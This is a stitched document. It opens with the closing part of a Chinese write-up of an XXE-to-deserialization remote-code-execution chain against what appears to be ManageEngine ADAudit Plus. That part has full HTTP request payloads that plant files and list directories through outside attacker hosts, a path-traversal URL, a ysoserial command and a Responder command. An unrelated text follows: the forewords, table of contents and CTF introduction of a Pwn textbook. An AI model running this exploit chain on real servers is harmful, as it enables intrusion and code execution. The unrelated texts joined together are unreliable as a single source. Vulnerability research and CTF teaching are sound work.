process函数会获取domainName对应的键值来迭代，最终调用addEventRows，如果你的传参
DomainName为空，那么这个地方进入不了迭代循环，就触发不了漏洞。
跟进addEventRows
addEventRows会根据传入的CategoryId参数来获取不同的Listener，然后分发进入getEventRowList函
数。
其中listener有很多，id为11的时候刚好是ProcessTrackingListener
接着走进
com.adventnet.sym.adsm.auditing.server.category.ProcessTrackingListener#getEventRow
parseTaskContent到xxe的点
串联
有了xxe之后，需要了解一个jdk的老版本xxe trick。
这是2013年的议题
https://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAtta
cks.pdf
在这个议题中提到，通过xxe我们可以上传文件和列举目录，jdk8u131之后的修复commit在这里
可以使用这个ftp服务器来使文件驻留到目标服务器中。
https://github.com/pwntester/BlockingServer/blob/master/BlockingServer.java
监听
发请求包
POST /api/agent/tabs/agentData HTTP/1.1
Host: 172.16.16.132:8081
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 316
Content-Type: application/json
[
{
"DomainName": "test.local",
"EventCode": 4688,
"EventType": 0,
"TimeGenerated": 0,
"Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE foo
[<!ENTITY ssrf SYSTEM \"jar:http://172.16.16.1:2122/upload.jar!/file.txt\"> ]>
<foo>&ssrf;</foo>"
}
]
此时文件被驻留在用户的临时目录下，我的用户是administrator，所以在
C:/Users/Administrator/AppData/Local/Temp/ 目录下
接着用这个项目来列目录，监听之后发请求包
POST /api/agent/tabs/agentData HTTP/1.1
Host: 172.16.16.132:8081
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 393
Content-Type: application/json
[
{
"DomainName": "test.local",
"EventCode": 4688,
"EventType": 0,
"TimeGenerated": 0,
"Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data
[ <!ENTITY % file SYSTEM \"file:///C:/Users/Administrator/AppData/Local/Temp/\">
<!ENTITY % dtd SYSTEM \"http://192.168.1.207:9090/data.dtd\"> %dtd;]><data>&send;
</data>"
}
]
我们的url.txt就被传到了jar_cache9091707163659467742.tmp这个文件。这个时候ftp服务端不要关，
不然文件就被删除了。
接下来就是触发反序列化的
gadget可以用cb192
最后就是国际惯例
http://172.16.16.132:8081/cewolf/a.png?
img=/../../../../../../../../../Users/Administrator/AppData/Local/Temp/jar_cache
9091707163659467742.tmp
java -jar .\ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils192NOCC
"CLASS:TomcatCmdEcho"
一些问题
1. 如何获取DomainName
2. c:/Users/Administrator/AppData/Local/Temp/jar_cache9091707163659467742.tmp 中
administrator怎么判断？
第一个问题登录的时候可以获取到一部分的域名
/api/agent/configuration/getAgentServerInfo 接口中，如果配置了agent之后会有完整的fqdn
第二个问题可以用笨方法先列举 C:\Users\ 所有用户，然后列举用户的temp目录，有的不是在用户的
temp，而是在c:/windows/temp下，或者直接Responder抓到当前用户名
修复
注释了CewolfServlet
修了xxe
加了guid校验
sudo python3 Responder.py -I ens160
路径发现
尝试用自己改过的tabby来查一下看数据流走向，然后发现数据流在队列的情况中调用边断掉了。
上文中我们讲到
com.adventnet.sym.adsm.auditing.webclient.ember.api.agent.AgentDataHandler#receiveD
ata 将接受到的数据放入
com.adventnet.sym.adsm.auditing.server.EventDataAdapter.EventQueue 队列，然后分派一个
线程 com.adventnet.sym.adsm.auditing.server.EventDataAdapter.EventDispatcher#run 做循
环处理。
那么在call graph中，两部分调用边被截断了。所以这里应该从run开始做调用边查询
文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。 | pdf |
推荐序 ┃ IV
点击京东购买 点击当当购买
推荐序
近年来，在党和国家的高度重视下，网络安全行业发展迅猛，吸引了大批年轻学子和有志青年
投身其中。2015 年，“网络空间安全”正式成为“工学”门类下的一级学科，与此同时，不论是在
高校、还是企事业单位中，CTF 等类型的信息安全竞赛也开始蓬勃发展，通过竞赛涌现出了一大批
高手、能手。但是竞赛中各个模块间的发展程度却参差不齐。相对而言，Web、Misc 等模块发展较
快，参与的选手也较多；二进制安全相关模块，如 Reverse（逆向）、Mobile（此处指移动安全）等
模块的选手相对就少些，而其中的 Pwn 模块，则参赛选手最少。究其原因，主要是因为相对其他模
块，二进制安全相关模块的学习曲线更陡峭，要求选手对系统的理解更为深入。
市面上安全相关的书籍、教程汗牛充栋，与漏洞主题相关的却屈指可数。在这些书籍中，由于
作者本身都是从事漏洞发掘工作的，所以相关案例多以 Windows 平台下的各种软件漏洞为主，其他
平台为辅。但 Windows 平台本身内部实现机制就比较复杂，相关文档不多，且有的软件自身还会有
自己私有的内存管理方法（比如微软的 Office 软件），在开始学习相关技能之前，所需要掌握的相
关前置背景知识就够人喝一壶了。
本书另辟蹊径，利用历届的 CTF 真题，以 x86/x64 平台下 Linux 系统中的 Pwn 样题为例，讲述
漏洞利用的基本方法和技巧。由于 Linux 系统本身就是一个开源系统，相关文档也比较齐全，因此，
在这个平台上容易把问题讲透。把基本功练扎实了，再去学习其他平台上的漏洞利用技术，必将起
到事半而功倍的效果。此外，当前被广泛使用的 Android 等操作系统本身就是 Linux 系统的变种，相
关技术也很容易移植到这些系统的漏洞发掘利用中去。
本书的作者是业内后起之秀。书中所用的例子贴近 CTF 实战，讲解详尽，思路清晰，非常有助
于读者理解和学习。
本书的审校者——吴石老师率领的腾讯 eee 战队——曾多次斩获国内外高等级竞赛的大奖，相关
经验非常丰富。
本书为广大学子和从业人员学习漏洞利用技术知识提供了有益的指导。相信有志学习者，经过
推荐序 ┃ V
认真钻研，必能早日登堂入室，为我国网络安全事业的发展添砖加瓦。
崔孝晨
《Python 绝技：运用 Python 成为顶级黑客》、《最强 Android 书：架构大剖析》译者
序 ┃ VI
序
时间回到 2017 年 7 月。
随着信息安全的发展，CTF 竞赛开始引人关注。这种有趣的竞赛模式非常有助于技术切磋和快
速学习。在西电信安协会（XDSEC）学长的带领下，当时的我已经接触 CTF 赛题有较长时间了。由
于当时网上还没有比较完善和系统的资料，本着开源精神、自利利他的目的，我在 GitHub 上创建了
一个称为“CTF-All-In-One”的项目，并给了自己第 1 个 star。
此后，这个项目日渐完善，吸引和帮助了不少初学者，到现在已经收获了超过 2100 个 star，在
此向所有为技术分享与进步作出贡献的 CTF 出题人和项目贡献者们致敬！
收到刘皎老师的约稿邀请是在 2018 年 10 月，那时我刚上大四。抱着试试看的心情，我惊喜、
惶恐地接受了这项挑战。接下来就是定目录，交样章，并在 2019 年 1 月签订了《约稿合同》。没想
到的是，写作的道路竟如此艰难：每一章、每一节、每一个例子甚至每一个词都要细斟慢酌，生怕
误人子弟。由于学业和工作上的事情较多，最初参与的两个朋友相继离开了，我本人也多次想放弃。
就在这样反反复复的状态下，一直到 2020 年 7 月才完成初稿。经过几轮艰苦的校稿，终于在 2020
年 10 月签订了《出版合同》，两年时间就这样一晃过去了。
现在再回头看，本书写作的过程基本就是一个“现学现卖”的过程。我一边学习新知识，一边
不断调整内容框架。在学习的路上，我曾遇到太多的分岔、踩过无数坑，正因为如此，我尽量把自
己的经验写进书里，使读者可以快速获得关键技术、避免踩坑和重复劳动。所以，与其称它为一本
书，倒不如说这是一座经过校对、打磨，并最终以书的形式呈现的知识库。当然，在此过程中，我
也发现写作是一种非常有效的训练方式：很明显，通过梳理知识点和想法，我不仅系统掌握了相关
知识，也明确了思路，对从事相关工作大有裨益。
我们将此书命名为《CTF 竞赛权威指南（Pwn 篇）》，是期待有更多人参与进来，拿出 Web 篇、
Reverse 篇、Crypto 篇等更好的作品，让这个系列更配得上“权威”二字。信息安全是一门有趣的学
科，我为自己当初的选择高兴，也希望阅读本书的你，同样为自己的选择而激动。作为一本面向初
序 ┃ VII
学者的书，读者中一定有不少中学生。全国中学生网络安全竞赛每年都在我的母校西安电子科技大
学进行，迄今已是第三届，颇具规模。在此欢迎各位小读者报考母校的网络与信息安全学院，这里
真的是一个很棒的地方！
本书的出版，要感谢我的大学室友刘晋，他早期的帮助让这个项目得以成形；感谢腾讯的吴石
老师，他的推荐让本项目顺利成书、惠及更多的人；感谢吴石老师和腾讯 eee 战队的谢天忆、朱梦
凡、马会心和刘耕铭四位老师的建议与审校，让本书的内容更上一层楼；感谢学弟槐和 koocola，贡
献了本书第 11 章的初稿；感谢湖北警官学院的谈楚瑜和 MXYLR，以及其他来自 GitHub 的朋友的
鼓励和支持；感谢电子工业出版社的刘皎老师，她认真细致的工作使本书得以高质量地呈现给读者；
感谢我的父母给了我选择和发展的自由，让我在人生道路上没有后顾之忧；感谢那位不愿透露姓名
的朋友，遇见你曾是青春最美好的事！感谢你们！
杨超
2020 年 11 月于北京
目录 ┃ VIII
目录
第 1 章
CTF 简介........................................................................................................................................1
1.1
赛事介绍........................................................................................................................................1
1.1.1
赛事起源............................................................................................................................1
1.1.2
竞赛模式............................................................................................................................1
1.1.3
竞赛内容............................................................................................................................2
1.2
知名赛事及会议............................................................................................................................3
1.2.1
网络安全竞赛....................................................................................................................3
1.2.2
网络安全会议....................................................................................................................5
1.2.3
网络安全学术会议............................................................................................................6
1.3
学习经验........................................................................................................................................6
1.3.1
二进制安全入门................................................................................................................6
1.3.2
CTF 经验............................................................................................................................8
1.3.3
对安全从业者的建议........................................................................................................8
参考资料...............................................................................................................................................10
第 2 章
二进制文件...................................................................................................................................11
2.1
从源代码到可执行文件.............................................................................................................. 11
2.1.1
编译原理..........................................................................................................................11
2.1.2
GCC 编译过程.................................................................................................................12
2.1.3
预处理阶段......................................................................................................................13
2.1.4
编译阶段..........................................................................................................................14
2.1.5
汇编阶段..........................................................................................................................15
2.1.6
链接阶段..........................................................................................................................15
2.2
ELF 文件格式..............................................................................................................................16
2.2.1
ELF 文件的类型..............................................................................................................16
目录 ┃ IX
2.2.2
ELF 文件的结构..............................................................................................................18
2.2.3
可执行文件的装载..........................................................................................................24
2.3
静态链接......................................................................................................................................26
2.3.1
地址空间分配..................................................................................................................26
2.3.2
静态链接的详细过程...................................................................................................... 27
2.3.3
静态链接库......................................................................................................................29
2.4
动态链接......................................................................................................................................30
2.4.1
什么是动态链接..............................................................................................................30
2.4.2
位置无关代码..................................................................................................................31
2.4.3
延迟绑定..........................................................................................................................32
参考资料...............................................................................................................................................33
第 3 章
汇编基础...................................................................................................................................... 34
3.1
CPU 架构与指令集..................................................................................................................... 34
3.1.1
指令集架构......................................................................................................................34
3.1.2
CISC 与 RISC 对比......................................................................................................... 35
3.2
x86/x64 汇编基础........................................................................................................................36
3.2.1
CPU 操作模式................................................................................................................. 36
3.2.2
语法风格..........................................................................................................................36
3.2.3
寄存器与数据类型..........................................................................................................37
3.2.4
数据传送与访问..............................................................................................................38
3.2.5
算术运算与逻辑运算...................................................................................................... 39
3.2.6
跳转指令与循环指令...................................................................................................... 40
3.2.7
栈与函数调用..................................................................................................................41
参考资料...............................................................................................................................................44
第 4 章
Linux 安全机制............................................................................................................................45
4.1
Linux 基础................................................................................................................................... 45
4.1.1
常用命令..........................................................................................................................45
4.1.2
流、管道和重定向..........................................................................................................46
4.1.3
根目录结构......................................................................................................................47
4.1.4
用户组及文件权限..........................................................................................................47
4.1.5
环境变量..........................................................................................................................49
4.1.6
procfs 文件系统...............................................................................................................51
4.1.7
字节序..............................................................................................................................52
4.1.8
调用约定..........................................................................................................................53
4.1.9
核心转储..........................................................................................................................54
4.1.10
系统调用........................................................................................................................55
4.2
Stack Canaries.............................................................................................................................. 58
目录 ┃ X
4.2.1
简介..................................................................................................................................58
4.2.2
实现..................................................................................................................................61
4.2.3
NJCTF 2017：messager.................................................................................................. 63
4.2.4
sixstars CTF 2018：babystack.........................................................................................65
4.3
No-eXecute...................................................................................................................................69
4.3.1
简介..................................................................................................................................69
4.3.2
实现..................................................................................................................................70
4.3.3
示例..................................................................................................................................73
4.4
ASLR 和 PIE................................................................................................................................75
4.4.1
ASLR................................................................................................................................75
4.4.2
PIE....................................................................................................................................76
4.4.3
实现..................................................................................................................................77
4.4.4
示例..................................................................................................................................79
4.5
FORTIFY_SOURCE....................................................................................................................83
4.5.1
简介..................................................................................................................................83
4.5.2
实现..................................................................................................................................84
4.5.3
示例..................................................................................................................................86
4.5.4
安全性..............................................................................................................................89
4.6
RELRO.........................................................................................................................................90
4.6.1
简介..................................................................................................................................90
4.6.2
示例..................................................................................................................................90
4.6.3
实现..................................................................................................................................93
参考资料...............................................................................................................................................94
第 5 章
分析环境搭建.............................................................................................................................. 96
5.1
虚拟机环境..................................................................................................................................96
5.1.1
虚拟化与虚拟机管理程序.............................................................................................. 96
5.1.2
安装虚拟机......................................................................................................................97
5.1.3
编译 debug 版本的 glibc................................................................................................. 98
5.2
Docker 环境............................................................................................................................... 100
5.2.1
容器与 Docker............................................................................................................... 100
5.2.2
Docker 安装及使用....................................................................................................... 101
5.2.3
Pwn 题目部署................................................................................................................102
参考资料.............................................................................................................................................103
第 6 章
分析工具.................................................................................................................................... 104
6.1
IDA Pro.......................................................................................................................................104
6.1.1
简介................................................................................................................................104
6.1.2
基本操作........................................................................................................................105
目录 ┃ XI
6.1.3
远程调试........................................................................................................................108
6.1.4
IDAPython......................................................................................................................110
6.1.5
常用插件........................................................................................................................ 114
6.2
Radare2.......................................................................................................................................115
6.2.1
简介及安装.................................................................................................................... 115
6.2.2
框架组成及交互方式.................................................................................................... 115
6.2.3
命令行工具.................................................................................................................... 118
6.2.4
r2 命令............................................................................................................................122
6.3
GDB........................................................................................................................................... 125
6.3.1
组成架构........................................................................................................................125
6.3.2
工作原理........................................................................................................................125
6.3.3
基本操作........................................................................................................................127
6.3.4
增强工具........................................................................................................................130
6.4
其他常用工具............................................................................................................................132
6.4.1
dd....................................................................................................................................133
6.4.2
file.................................................................................................................................. 133
6.4.3
ldd...................................................................................................................................134
6.4.4
objdump..........................................................................................................................134
6.4.5
readelf.............................................................................................................................135
6.4.6
socat................................................................................................................................136
6.4.7
strace<race...................................................................................................................136
6.4.8
strip.................................................................................................................................137
6.4.9
strings............................................................................................................................. 138
6.4.10
xxd................................................................................................................................138
参考资料.............................................................................................................................................139
第 7 章
漏洞利用开发............................................................................................................................ 141
7.1
shellcode 开发............................................................................................................................141
7.1.1
shellcode 的基本原理....................................................................................................141
7.1.2
编写简单的 shellcode....................................................................................................141
7.1.3
shellcode 变形................................................................................................................143
7.2
Pwntools.....................................................................................................................................145
7.2.1
简介及安装....................................................................................................................145
7.2.2
常用模块和函数............................................................................................................145
7.3
zio...............................................................................................................................................152
7.3.1
简介及安装....................................................................................................................152
7.3.2
使用方法........................................................................................................................153
参考资料.............................................................................................................................................155
第 8 章
整数安全.................................................................................................................................... 156
目录 ┃ XII
8.1
计算机中的整数........................................................................................................................ 156
8.2
整数安全漏洞............................................................................................................................157
8.2.1
整数溢出........................................................................................................................157
8.2.2
漏洞多发函数................................................................................................................158
8.2.3
整数溢出示例................................................................................................................159
参考资料.............................................................................................................................................161
第 9 章
格式化字符串............................................................................................................................ 162
9.1
格式化输出函数........................................................................................................................ 162
9.1.1
变参函数........................................................................................................................162
9.1.2
格式转换........................................................................................................................162
9.2
格式化字符串漏洞.................................................................................................................... 164
9.2.1
基本原理........................................................................................................................164
9.2.2
漏洞利用........................................................................................................................166
9.2.3
fmtstr 模块..................................................................................................................... 174
9.2.4
HITCON CMT 2017：pwn200......................................................................................176
9.2.5
NJCTF 2017：pingme................................................................................................... 178
参考资料.............................................................................................................................................182
第 10 章
栈溢出与 ROP........................................................................................................................ 183
10.1
栈溢出原理..............................................................................................................................183
10.1.1
函数调用栈..................................................................................................................183
10.1.2
危险函数......................................................................................................................186
10.1.3
ret2libc..........................................................................................................................186
10.2
返回导向编程..........................................................................................................................187
10.2.1
ROP 简介..................................................................................................................... 187
10.2.2
ROP 的变种................................................................................................................. 189
10.2.3
示例..............................................................................................................................191
10.3
Blind ROP................................................................................................................................ 192
10.3.1
BROP 原理...................................................................................................................192
10.3.2
HCTF 2016：brop........................................................................................................193
10.4
SROP........................................................................................................................................200
10.4.1
SROP 原理...................................................................................................................200
10.4.2
pwntools srop 模块.......................................................................................................204
10.4.3
Backdoor CTF 2017：Fun Signals.............................................................................. 204
10.5
stack pivoting............................................................................................................................206
10.5.1
stack pivoting 原理.......................................................................................................206
10.5.2
GreHack CTF 2017：beerfighter.................................................................................209
10.6
ret2dl-resolve............................................................................................................................213
目录 ┃ XIII
10.6.1
ret2dl-resolve 原理.......................................................................................................213
10.6.2
XDCTF 2015：pwn200............................................................................................... 217
参考资料.............................................................................................................................................222
第 11 章
堆利用...................................................................................................................................... 224
11.1
glibc 堆概述............................................................................................................................. 224
11.1.1
内存管理与堆.............................................................................................................. 224
11.1.2
重要概念和结构体...................................................................................................... 226
11.1.3
各类 bin 介绍...............................................................................................................229
11.1.4
chunk 相关源码........................................................................................................... 231
11.1.5
bin 相关源码................................................................................................................235
11.1.6
malloc_consolidate()函数.............................................................................................237
11.1.7
malloc()相关源码.........................................................................................................239
11.1.8
free()相关源码............................................................................................................. 248
11.2
TCache 机制.............................................................................................................................251
11.2.1
数据结构......................................................................................................................251
11.2.2
使用方法......................................................................................................................252
11.2.3
安全性分析.................................................................................................................. 255
11.2.4
HITB CTF 2018：gundam...........................................................................................257
11.2.5
BCTF 2018：House of Atum.......................................................................................263
11.3
fastbin 二次释放...................................................................................................................... 268
11.3.1
fastbin dup.................................................................................................................... 268
11.3.2
fastbin dup consolidate................................................................................................. 273
11.3.3
0CTF 2017：babyheap.................................................................................................275
11.4
house of spirit........................................................................................................................... 283
11.4.1
示例程序......................................................................................................................284
11.4.2
LCTF 2016：pwn200...................................................................................................287
11.5
不安全的 unlink.......................................................................................................................291
11.5.1
unsafe unlink................................................................................................................ 292
11.5.2
HITCON CTF 2016：Secret Holder............................................................................295
11.5.3
HITCON CTF 2016：Sleepy Holder...........................................................................303
11.6
off-by-one................................................................................................................................. 307
11.6.1
off-by-one.....................................................................................................................307
11.6.2
poison null byte............................................................................................................ 310
11.6.3
ASIS CTF 2016：b00ks...............................................................................................313
11.6.4
Plaid CTF 2015：PlaidDB...........................................................................................320
11.7
house of einherjar..................................................................................................................... 325
11.7.1
示例程序......................................................................................................................325
11.7.2
SECCON CTF 2016：tinypad..................................................................................... 328
目录 ┃ XIV
11.8
overlapping chunks...................................................................................................................336
11.8.1
扩展被释放块.............................................................................................................. 336
11.8.2
扩展已分配块.............................................................................................................. 339
11.8.3
hack.lu CTF 2015：bookstore......................................................................................342
11.8.4
0CTF 2018：babyheap.................................................................................................349
11.9
house of force........................................................................................................................... 353
11.9.1
示例程序......................................................................................................................353
11.9.2
BCTF 2016：bcloud.................................................................................................... 356
11.10
unsorted bin 与 large bin 攻击................................................................................................363
11.10.1
unsorted bin into stack................................................................................................363
11.10.2
unsorted bin attack......................................................................................................367
11.10.3
large bin 攻击............................................................................................................. 370
11.10.4
0CTF 2018：heapstorm2........................................................................................... 374
参考资料.............................................................................................................................................381
第 12 章
Pwn 技巧................................................................................................................................. 383
12.1
one-gadget................................................................................................................................ 383
12.1.1
寻找 one-gadget........................................................................................................... 383
12.1.2
ASIS CTF Quals 2017：Start hard...............................................................................385
12.2
通用 gadget 及 Return-to-csu...................................................................................................388
12.2.1
Linux 程序的启动过程................................................................................................388
12.2.2
Return-to-csu................................................................................................................390
12.2.3
LCTF 2016：pwn100.................................................................................................. 392
12.3
劫持 hook 函数........................................................................................................................ 395
12.3.1
内存分配 hook.............................................................................................................396
12.3.2
0CTF 2017 - babyheap................................................................................................. 397
12.4
利用 DynELF 泄露函数地址.................................................................................................. 401
12.4.1
DynELF 模块...............................................................................................................401
12.4.2
DynELF 原理...............................................................................................................402
12.4.3
XDCTF 2015：pwn200............................................................................................... 403
12.4.4
其他泄露函数..............................................................................................................406
12.5
SSP Leak.................................................................................................................................. 409
12.5.1
SSP............................................................................................................................... 409
12.5.2
__stack_chk_fail()........................................................................................................ 411
12.5.3
32C3 CTF 2015：readme............................................................................................ 412
12.5.4
34C3 CTF 2017：readme_revenge..............................................................................416
12.6
利用 environ 泄露栈地址........................................................................................................422
12.7
利用_IO_FILE 结构.................................................................................................................429
12.7.1
FILE 结构体.................................................................................................................429
目录 ┃ XV
12.7.2
FSOP............................................................................................................................ 431
12.7.3
FSOP（libc-2.24 版本）............................................................................................. 433
12.7.4
HITCON CTF 2016：House of Orange.......................................................................438
12.7.5
HCTF 2017：babyprintf.............................................................................................. 445
12.8
利用 vsyscall............................................................................................................................ 449
12.8.1
vsyscall 和 vDSO......................................................................................................... 449
12.8.2
HITB CTF 2017：1000levels...................................................................................... 451
参考资料.............................................................................................................................................456
第 1 章
CTF 简介 ┃ XVI
第 1 章
CTF 简介
1.1
赛事介绍
1.1.1
赛事起源
CTF（Capture The Flag）中文一般译作夺旗赛，原为西方传统运动，即两队人马相互前往敌方
的基地夺取旗帜。这恰如“黑客”在竞赛中的一攻一防，因此在网络安全领域中被用于指代网络安
全技术人员之间进行技术竞技的一种比赛形式，其形式与内容体现了浓厚的黑客精神和黑客文化。
CTF 起源于 1996 年 DEFCON 全球黑客大会，以代替之前黑客们通过互相发起真实攻击进行技
术比拼的方式。发展至今，已经成为全球范围网络安全圈流行的竞赛形式，2013 年全球举办了超过
五十场国际性 CTF 赛事。作为 CTF 赛制的发源地，DEFCON CTF 也成为目前全球技术水平和影响
力最高的 CTF 竞赛，类似于 CTF 赛事中的“世界杯”。
CTF 的大致流程是，参赛团队之间通过攻防对抗、程序分析等形式，率先从主办方给出的比赛
环境中得到一串具有一定格式的字符串或其他内容，并将其提交给主办方，从而夺得分数。为了方
便称呼，我们把这串内容称为“flag”。
近年来，随着网络安全越来越受到国家和大众的关注，CTF 比赛的数量与规模也发展迅猛，国
内外各类高质量的 CTF 竞赛层出不穷，CTF 已经成为学习、提升信息安全技术，展现安全能力和水
平的绝佳平台。
1.1.2
竞赛模式
解题模式（Jeopardy）
在解题模式 CTF 赛制中，参赛队伍可以通过互联网或者现场网络参与。这种模式的 CTF 竞赛与
ACM 编程竞赛、信息学奥赛类似，以解决网络安全技术挑战题目的分值和时间来排名，通常用于在
线选拔赛，选手自由组队（人数不受限制）。题目主要包含六个类别：RE 逆向工程、Pwn 漏洞挖掘
与利用、Web 渗透、Crypto 密码学、Mobile 移动安全和 Misc 安全杂项。
攻防模式（Attack-Defense）
在攻防模式 CTF 赛制中，参赛队伍在网络空间互相进行攻击和防守，通过挖掘网络服务漏洞并
第 1 章
CTF 简介 ┃ XVII
攻击对手服务来得分，通过修补自身服务漏洞进行防御来避免丢分。攻防模式通常为线下赛，参赛
队伍人数有限制（通常为 3 到 5 人不等），可以实时通过得分反映出比赛情况，最终也以得分直接
分出胜负。这是一种竞争激烈、具有很强观赏性和高度透明性的网络安全赛制。在这种赛制中，不
仅仅是比参赛队员的智力和技术，也比体力（因为比赛一般都会持续 48 小时及以上），同时也比团
队之间的分工配合与合作。
混合模式（Mix）
结合了解题模式与攻防模式的 CTF 赛制，主办方会根据比赛的时间、进度等因素来释放需解答
的题目，题目的难度越大，解答完成后获取的分数越高。参赛队伍通过解题获取一些初始分数，然
后通过攻防对抗进行得分增减的零和游戏，最终以得分高低分出胜负。采用混合模式 CTF 赛制的典
型代表如 iCTF 国际 CTF 竞赛。
1.1.3
竞赛内容
Reverse
逆向工程类题目需要对软件（Windows、Linux 平台）的结构、流程、算法等进行逆向破解，要
求有较强的反汇编、反编译的功底。主要考查参赛选手的逆向分析能力。所需知识：汇编语言、加
密与解密、常见反编译工具。
Pwn
Pwn 在黑客俚语中代表着攻破，获取权限，由“own”这个词引申而来。在 CTF 比赛中它代表
着溢出类的题目，常见的类型有整数溢出、栈溢出、堆溢出等。主要考查参赛选手对漏洞的利用能
力。所需知识：C、OD+IDA、数据结构、操作系统。
Web
Web 是 CTF 的主要题型，涉及许多常见的 Web 漏洞，如 XSS、文件包含、代码执行、上传漏
洞、SQL 注入等。也有一些简单的关于网络基础知识的考察，如返回包、TCP/IP、数据包内容和构
造。可以说题目环境比较接近真实环境。所需知识：PHP、Python、TCP/IP、SQL。
Crypto
密码学类题目考察各种加/解密技术，包括古典加密技术、现代加密技术甚至出题者自创加密技
术，以及一些常见的编码解码。主要考查参赛选手密码学相关知识点，通常也会和其他题目相结合。
所需知识：矩阵、数论、密码学。
Mobile
Mobile 类题目主要涉及 Android 和 iOS 两个主流移动平台，以 Android 逆向为主，破解 APK 并
提交正确 flag。所需知识：Java、Android 开发、常见工具。
Misc
第 1 章
CTF 简介 ┃ XVIII
Misc 即安全杂项，题目涉及隐写术、流量分析、电子取证、人肉搜索、数据分析、大数据统计
等，覆盖面比较广。主要考查参赛选手的各种基础综合知识。所需知识：常见隐写术工具、Wireshark
等流量审查工具、编码知识。
1.2
知名赛事及会议
1.2.1
网络安全竞赛
参与高质量的 CTF 竞赛不仅能获得乐趣，更能获得技术上的提升。我们可以在网站 CTFtime 上
获取 CTF 赛事的信息以及各大 CTF 战队的排名，如图 1-1 所示。一般来说，一些黑客传统赛事，或
者知名企业和战队所举办的 CTF 质量都比较高。
图 1- 1
CTFtime 网站
下面我们列举几个知名度较高的网络安全赛事。
DEFCON CTF
全球最知名、影响力最广，且历史悠久的赛事，是 CTF 中的世界杯。其主要特点是题目复
杂度高，偏重于真实环境中的漏洞挖掘和利用。DEFCON CTF 分为线上预选赛（Qualifier）
和线下决赛（Final），预选赛通常于每年 5 月开始，排名靠前的战队有机会入围线下决赛；
线下决赛通常于每年 8 月在美国的拉斯维加斯举行。当然，每年还有持外卡参赛的战队，他
第 1 章
CTF 简介 ┃ XIX
们往往是其他一些重量级 CTF 的冠军，如 HITCON CTF、SECCON CTF 等。最终会有 15～
20 支战队参加决赛。
线上赛等题目以二进制程序分析和漏洞利用为主，还有少量的 Web 安全和杂项等题目。而
线下赛采用攻防模式，仍以二进制漏洞利用为主，且难度更高，战况也更加激烈。
2013 年清华大学蓝莲花战队（Blue-Lotus）成为国内首支入围 DEFCON CTF 决赛的战队。
2020 年腾讯 A*0*E 联合战队斩获冠军，刷新中国战队最佳纪录。
Pwn2Own
全球奖金最丰厚的著名赛事，由美国五角大楼网络安全服务商、惠普旗下 TippingPoint 的
项目组 ZDI（Zero Day Initiative）主办，谷歌、微软、苹果、Adobe 等厂商均对比赛提供支持，
以便通过黑客攻击挑战来完善自身产品。大赛自 2007 年举办至今，每年 3 月和 11 月分别在
加拿大温哥华以及日本东京各举办一次。
与 CTF 竞赛略有不同，Pwn2Own 的目标是四大浏览器 IE、Chrome、Safari 和 Firefox 的最
新版；Mobile Pwn2Own 的目标则是 iOS、Android 等主流手机的操作系统。能在 Pwn2Own
上获奖，象征着其安全研究已经达到世界领先水平。
2016 年，腾讯安全 Sniper 战队凭借总积分 38 分成为 Pwn2Own 历史上第一个世界总冠军，
并且获得该赛事史上首个 Master of Pwn（世界破解大师）称号。
CGC（Cyber Grand Challenge）
由美国国防部高级研究计划局（Defense Advanced Research Projects Agency，DARPA）于
2013 年发起，旨在推进自动化网络攻防技术的发展，即实时识别系统缺陷、漏洞，自动完成
打补丁和系统防御，并自动生成攻击程序，最终实现全自动的网络安全攻防系统。
CGC 的比赛过程限制人工干预，完全由计算机实现，可以理解为人工智能之间的 CTF。
其亮点在于系统的全自动化，主要难度在于如何在无限的状态下尽快找到触发漏洞的输入，
以及对发现的漏洞进行自动修复和生成攻击。
2016 年由美国卡内基梅隆大学（CMU）研发的自动攻防系统 Mayhem 获得决赛冠军。之
后，该系统还参加了当年的 DEFCON CTF 决赛，与人类战队同台竞技，并且阶段性地压制了
部分选手。
XCTF 联赛
由清华大学蓝莲花战队发起组织，网络空间安全人才基金和国家创新与发展战略研究会联
合主办，面向高校及科研院所学生、企业技术人员、网络安全技术爱好者等群体，是一项旨
在发现和培养网络安全技术人才的竞赛活动。该竞赛由选拔赛和总决赛组成。
全国大学生信息安全竞赛
简称“国赛”，由教育部高等学校信息安全专业教学指导委员会主办，目的在于宣传信息
安全知识；培养大学生的创新精神、团队合作意识；扩大大学生的科学视野，提高大学生的
第 1 章
CTF 简介 ┃ XX
创新设计能力、综合设计能力和信息安全意识；促进高等学校信息安全专业课程体系、教学
内容和方法的改革；吸引广大大学生踊跃参加课外科技活动，为培养、选拔、推荐优秀信息
安全专业人才创造条件。竞赛时间一般为每年的 3 月至 8 月。
竞赛分为技能赛和作品赛两种。其中，技能赛采取 CTF 模式，参赛队伍通过在预设的竞赛
环境中解决问题来获取 flag 并取得相应积分。初赛为在线解题模式，决赛为线下实战模式。
作品赛以信息安全技术与应用设计为主要内容，竞赛范围定为系统安全、应用安全（内容安
全）、网络安全、数据安全和安全检测五大类，参赛队自主命题，自主设计。
“强网杯”全国网络安全挑战赛
是由中央网信办网络安全协调局指导、信息工程大学主办的、面向高等院校和国内信息安
全企业的国家级网络安全赛事。
竞赛分为线上赛、线下赛和精英赛三个阶段，比赛内容主要围绕网络安全和系统安全中的
现实问题进行设计。
2018 年第二届“强网杯”共计有 2622 支战队，13250 名队员报名参加，覆盖 30 多个省份，
堪称国内网络安全竞赛之最。
HITCON CTF：由中国台湾骇客协会（HIT）在知名黑客会议 HITCON 同期举办。
0CTF/TCTF：由上海交通大学 0ops 战队和腾讯 eee 战队联合举办。
XDCTF/LCTF：由西安电子科技大学信息安全协会（XDSEC）和 L-team 战队主办。
1.2.2
网络安全会议
下面我们介绍一些知名的网络安全会议。
RSA
信息安全界最有影响力的安全盛会之一， 1991 年由 RSA 公司发起，一般于每年 2 月至 3
月在美国旧金山 Moscone 中心举办。每年有众多的信息安全从业者、安全服务商、研究机构
和投资者参加。他们对未来信息安全的发展趋势做出预测，并共同评选出最具创新的公司及
产品，因此，该会议也被称为世界网络安全行业的风向标。
